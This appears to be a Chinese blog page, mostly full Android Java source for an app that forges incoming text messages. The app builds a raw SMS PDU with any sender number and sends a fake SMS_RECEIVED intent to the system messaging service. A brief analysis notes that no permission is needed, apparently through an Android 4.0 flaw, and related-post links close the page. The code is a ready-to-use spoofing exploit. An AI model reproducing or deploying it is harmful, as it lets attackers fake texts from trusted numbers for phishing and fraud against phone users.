代码实现

package com.smstrick;

import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Method;import java.util.Calendar;import java.util.GregorianCalendar;

import android.app.Activity;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.PhoneNumberUtils;import android.util.Log;import android.view.View;import android.view.View.OnClickListener;import android.widget.EditText;

public class SMSTrickActivity extends Activity implements OnClickListener{    /** Called when the activity is first created. */    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.main);

        View continue_button = this.findViewById(R.id.button1);

        continue_button.setOnClickListener((OnClickListener) this);    }    public void onClick(View v) {        EditText eNum;        EditText eMsg;        String sNum;      String sMsg;

        eNum   = (EditText)findViewById(R.id.editText1);     eMsg   = (EditText)findViewById(R.id.editText2);

       sNum = eNum.getText().toString();        sMsg = eMsg.getText().toString();

      //sNum cannot be blank        if(sNum.equals("")) sNum = "123456";

       createFakeSms(this.getApplicationContext(),sNum,sMsg);

    }

    private static void createFakeSms(Context context, String sender, String body) {    //Source: http://stackoverflow.com/a/12338541    //Source: http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app        byte[] pdu = null;        byte[] scBytes = PhoneNumberUtils                .networkPortionToCalledPartyBCD("0000000000");        byte[] senderBytes = PhoneNumberUtils                .networkPortionToCalledPartyBCD(sender);        int lsmcs = scBytes.length;        byte[] dateBytes = new byte[7];        Calendar calendar = new GregorianCalendar();        dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));        dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));        try {           Log.d("ice", "test one");            ByteArrayOutputStream bo = new ByteArrayOutputStream();            bo.write(lsmcs);            bo.write(scBytes);            bo.write(0x04);            bo.write((byte) sender.length());            bo.write(senderBytes);            bo.write(0x00);            bo.write(0x00); // encoding: 0 for default 7bit            bo.write(dateBytes);            try {

                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(                        "stringToGsm7BitPacked", new Class[] { String.class });                stringToGsm7BitPacked.setAccessible(true);                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,                        body);                bo.write(bodybytes);            } catch (Exception e) {                e.printStackTrace();            }

            pdu = bo.toByteArray();        } catch (IOException e) {            e.printStackTrace();        }

        Intent intent = new Intent();        intent.setClassName("com.android.mms",                "com.android.mms.transaction.SmsReceiverService");        intent.setAction("android.provider.Telephony.SMS_RECEIVED");        intent.putExtra("pdus", new Object[] { pdu });        //intent.putExtra("format", "3gpp");        context.startService(intent);    }

    private static byte reverseByte(byte b) {        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);    }}

实质分析 核心在于自定义了系统的

        Intent intent = new Intent();        intent.setClassName("com.android.mms",                "com.android.mms.transaction.SmsReceiverService");        intent.setAction("android.provider.Telephony.SMS_RECEIVED");        intent.putExtra("pdus", new Object[] { pdu });        //intent.putExtra("format", "3gpp");        context.startService(intent);

收到短信的intent,从而伪造了短信,而且不需要任何的权限。

android 无权限 伪造短信相关推荐

  1. android安全问题(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  2. android安全漏洞(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  3. android 拨打电话 发送短信 权限,Android开发实现拨打电话与发送信息的方法分析...

    本文实例讲述了Android开发实现拨打电话与发送信息的方法.分享给大家供大家参考,具体如下: xml布局: android:layout_width="fill_parent" ...

  4. Android 伪造短信

    //伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu ...

  5. 安卓day25快速入门 目录结构 清单 DDMS adb 危险权限 发短信 点击事件 安卓版本...

    一.排坑 AndroidStudio非法字符: '\ufeff' 将文件格式改为以UTF-8无BOM格式编码 Sublime Text 保存时 CodeFormatter file is scratc ...

  6. android 脚本发短信,Android使用SmsManager实现短信发送功能

    安卓使用SmsManager实现发送短信,供大家参考,具体内容如下 关键代码实现 package com.example.sms; import java.util.ArrayList; import ...

  7. Android 接收和收发短信

    收发短信应该是每个手机最基本的功能之一了,即使是许多年前的老手机也都会具备这项功能,而Android作为出色的智能手机操作系统,自然也少不了在这方面的支持.每个Android手机都会内置一个短信应用程 ...

  8. Android接收和发送短信

    每一部手机都具有短信接收和发送功能,下面我们通过代码来实现接收和发送短信功能. 一.接收短信 1.创建内部广播接收器类,接收系统发出的短信广播 2.从获得的内容中解析出短信发送者和短信内容 3.在Ac ...

  9. Android实时监听短信并上传服务器

    短信监听 Android监听手机短信的方法有两种,分别为: 1.接受系统的短信广播:当手机收到新消息时,会发送一条广播,通过该广播就可以获取短信内容: 2.监听短信数据库:利用观察者模式监听短信数据库 ...

最新文章

  1. 2020年史上最全PyTorch资源合集,Github 标星1w+
  2. AI:2020年6月23日北京智源大会演讲分享之智能信息检索与挖掘专题论坛——09:10-09:55裴健教授《智能搜索:从工具到思维方式和心智》
  3. 2.5亿被腰围改变的中国人,哪个省胖子最多?
  4. ActiveReports 报表控件V12新特性 -- 新增JSON和CSV导出
  5. python的read函数调用报错_从零开始学Python(七):文件存储I/O流和异常捕捉
  6. 厉害了!谷歌新发布的半监督学习算法降低4倍错误率
  7. RTT——IO设备管理篇·基本概念理解
  8. Spark核心类:SQLContext和DataFrame
  9. Objective-C中的单例模式
  10. Spring中的FactoryBean
  11. php 查看session 时间,php中session过期时间设置及session回收机制介绍
  12. 精心打造中国第一个商用3G网络
  13. 2018年前的面试题总结
  14. jquery入门介绍
  15. 用Docker和Kubernetes将MongoDB作为微服务来运行
  16. c语言中延时函数delay1,delay什么意思_delay.h这一段是什么意思
  17. 【CFD理论】对流项-04-TVD
  18. 打破传统电商格局,新型社交电商到底有什么优点?
  19. 启明云端基于乐鑫ESP32-S2的智能86盒新品发布--WT-86-32-3ZW1
  20. 杜比音频和Microsoft Edge体验

热门文章

  1. 离线翻译android开发,有道翻译官推出Android版 可离线翻译多国语言
  2. 贸然用string比较的后果
  3. cup过高是什么意思_CPU占用过高怎么办? 每日一答
  4. 【OpenCV 学习笔记】第二十章: 角点检测之:harris算法以及Shi-Tomasi算法
  5. 浙江理工大学英语平台Unipus自动答题
  6. 不要错过这款好用的照片高清修复软件
  7. 在KEIL中生成bin文件的方法
  8. Android根据byte数组,生成图片,图片名字以当前时间作为名字
  9. Atom编译器64位win版本下载汉化及前端必备插件
  10. 1044 mysql_MYSQL 有ERROR 1044